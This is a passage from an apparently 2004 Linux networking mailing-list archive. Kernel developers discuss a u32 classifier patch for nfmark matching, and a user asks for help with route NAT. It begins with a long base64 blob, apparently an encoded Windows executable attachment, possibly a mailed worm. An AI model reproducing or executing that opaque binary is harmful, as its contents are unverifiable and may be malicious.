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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgA
AIAAAAAAAAAAAAAAAAAAAAEAAAAAAFgAAADQ8AAA6AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAABAAAAAACAAAAAuPMAACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAqAAAgAAA
AAAAAAAAAAAAAAAAAQAAAAAAwAAAAOD0AAAiAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQA
AAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDA
wACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAHiIiIiIiIiIiIiIiIiIiIhwAAAAAAAAAAAAAAAAAAAI
cAAAAAAAAAAAAAAAAAAACHAAAAAAAAAAAAAAAAAAAAhwAAAAAAAAAAAAAAAAAAAIcAAAAAAA
AAAAAAAAAAAACHAAAAAAAAAAAAAAAAAAAAhwAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAAAAAAA
AAAACHAAAAAAAAAAAAAAAAAAAAhwAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAAAAAAAAAAACHAA
AP/wAPAA8P////AAAAhwAA8ADwAAAPAAAAAAAAAIcAAPAAAAAA8AAAAAAAAACHAADwAAAPAP
AAAAAAAAAAhwAA8ADwAA8AAAAAAAAAAIcAAA//AAAPAAAAAAAAAACHAAAAAAAAAAAAAAAAAA
AAhwAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAAAAAAAAAAACHAAAAAAAAAAAAAAAAAAAAhwiAzM
zMzMzMzMzMwIgIgIcHgMzMzM/Pz8/MzMB4B4CHAAAAAAAAAAAAAAAAAAAAh3d3d3d3d3d3d3
d3d3d3d3////////////////////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAIAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHiIiIiIiIiI
cAAAAAAAAAhwAAAAAAAACHAAAAAABwAIcA/wAAAPAAhw8A8PAPAACHDwAAAA8AAIcPAPDw8A
AAhwD/AADwAACHAAAAAAAAAIeIzMfHx8zIhwAAAAAAAACHd3d3d3d3d3//8AAP//gAD//wAA
AACAAAAAAAAAAIAAAAAAAAAAwAAAAIAAAAD/AAAAAAAAAP8AAAAAAAAA/wAAAAAAAAClAQAA
AQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAoAQAAAgA4pjBMQMGyIKssDZovCUQZA7gscltk
fThTnsEUa6YNFr6ZB0OqYpxSgBauFHq4pgIykSOoh3qJD59pnL0mOsXD

----------sutzdyqsmwtijssfpbhd--


From util@deuroconsult.ro  Mon Nov  8 10:06:50 2004
From: util@deuroconsult.ro (Catalin(ux aka Dino) BOIE)
Date: Mon, 8 Nov 2004 12:06:50 +0200 (EET)
Subject: [LARTC] Re: [PATCH] Use nfmark as a key for u32 classifier
In-Reply-To: <1099669841.1026.18.camel@jzny.localdomain>
References: <Pine.LNX.4.61.0411051317330.23651@webhosting.rdsbv.ro>
 <1099669841.1026.18.camel@jzny.localdomain>
Message-ID: <Pine.LNX.4.61.0411081204290.9229@webhosting.rdsbv.ro>

> I think this is an ok midterm solution and should be applied.
Thanks.

> One comment Catalin: Can you resend the patch  make this a selectable
> choice via kconfig?
Yes, of course.
Also, as a bonus, I will add a mask. Something like this:
tc filter add dev eth0 protocol ip parent 1:0 prio 5 u32 \
 	match mark 0x0090 0xffff \
                           ^^^^^^
 	flowid 1:90

It's ok?

> Eventually  - we should kill this + the indev choices on u32 and move it
> up one so that we can have all filters capable of following filters from
> other classifiers. As a matter of fact we already have this feature but
> it is a little on the inefficient side at the moment.

It will be very good. It will add the missing flexibility.
I'll try to cook up something.

>
> cheers,
> jamal
>
> On Fri, 2004-11-05 at 06:38, Catalin(ux aka Dino) BOIE wrote:
>> Hello!
>>
>> I am glad to announce a patch for u32 to allow matches on nfmark.
>> The patch is non intrusive (few lines).
>>
>> Why I did this? Because fw classifier cannot be used together with u32.
>> For example, now, you cannot match a mark of 0x90 and a destination
>> port of 80. I know you can do it with iptables to do the marking, but if
>> you use Jamal actions to apply mark to policed packets, you need this.
>>
>> All stuff can be found at http://kernel.umbrella.ro/ also.
>>
>> Dave, please consider adding this patch.
>>
>> Stephen, if Dave accepts the patch, please apply the iproute2 patch. Thank
>> you.
>>
>> Signed-off-by: Catalin(ux aka Dino) BOIE <catab at umbrella.ro>
>>
>> Thank you for you time.
>> ---
>> Catalin(ux aka Dino) BOIE
>> catab at deuroconsult.ro
>> http://kernel.umbrella.ro/
>

---
Catalin(ux aka Dino) BOIE
catab at deuroconsult.ro
http://kernel.umbrella.ro/

From kaber@trash.net  Tue Nov  9 05:41:40 2004
From: kaber@trash.net (Patrick McHardy)
Date: Tue, 09 Nov 2004 06:41:40 +0100
Subject: [LARTC] Re: [PATCH] Use nfmark as a key for u32 classifier
In-Reply-To: <Pine.LNX.4.61.0411051317330.23651@webhosting.rdsbv.ro>
References: <Pine.LNX.4.61.0411051317330.23651@webhosting.rdsbv.ro>
Message-ID: <41905894.7030809@trash.net>

Catalin(ux aka Dino) BOIE wrote:

> Hello!
>
> I am glad to announce a patch for u32 to allow matches on nfmark.
> The patch is non intrusive (few lines).
>
>------------------------------------------------------------------------
>
> 			if ((*(u32*)(ptr+key->off+(off2&key->offmask))^key->val)&key->mask) {
>--- linux.orig/include/linux/pkt_cls.h	2004-10-19 00:53:07.000000000 +0300
>+++ linux/include/linux/pkt_cls.h	2004-11-05 11:00:27.000000000 +0200
>@@ -208,6 +208,7 @@ struct tc_u32_sel
> 	unsigned char		flags;
> 	unsigned char		offshift;
> 	unsigned char		nkeys;
>+	u32			mark;
>  
>
^^ Please put this at the end to avoid breaking compatibility
with old tc binaries. BTW, nfmark if unsigned long, which is
64 bit on 64-bit architectures. Probably not worth fixing though,
everyone else got it wrong too.

> 
> 	__u16			offmask;
> 	__u16			off;
>  
>

Regards
Patrick

From torre_cremata@mail.ru  Tue Nov  9 10:09:13 2004
From: torre_cremata@mail.ru (Peter Volkov Alexandrovich)
Date: Tue, 9 Nov 2004 13:09:13 +0300
Subject: [LARTC] ip route nat. NEED help.
In-Reply-To: <E1CMUVN-000993-00.torre_cremata-mail-ru@f12.mail.ru>
References: <E1CMUVN-000993-00.torre_cremata-mail-ru@f12.mail.ru>
Message-ID: <200411091309.13506.torre_cremata@mail.ru>

Hello.

I need your help. The problem is I can not make route nat working with kern=
el=20
2.6 although in 2.4 everthing works perfectly. I forced to have 2.6 kernel =
as=20
I need SATA.

If this is the wrong list to ask question about this, please poke me in the=
=20
right one.

So. I have router with two network cards: eth0(192.168.1.10) and eth1
(192.168.2.150). Kernel is 2.6.8.1. In the kernel all options and suboption=
s=20
concerning "IP: advanced router" are enabled. I want to map computer in=20
192.168.2.0/24 subnet with IP 192.168.2.5 =9Aon 192.168.1.17 in 192.168.1.0=
/24=20
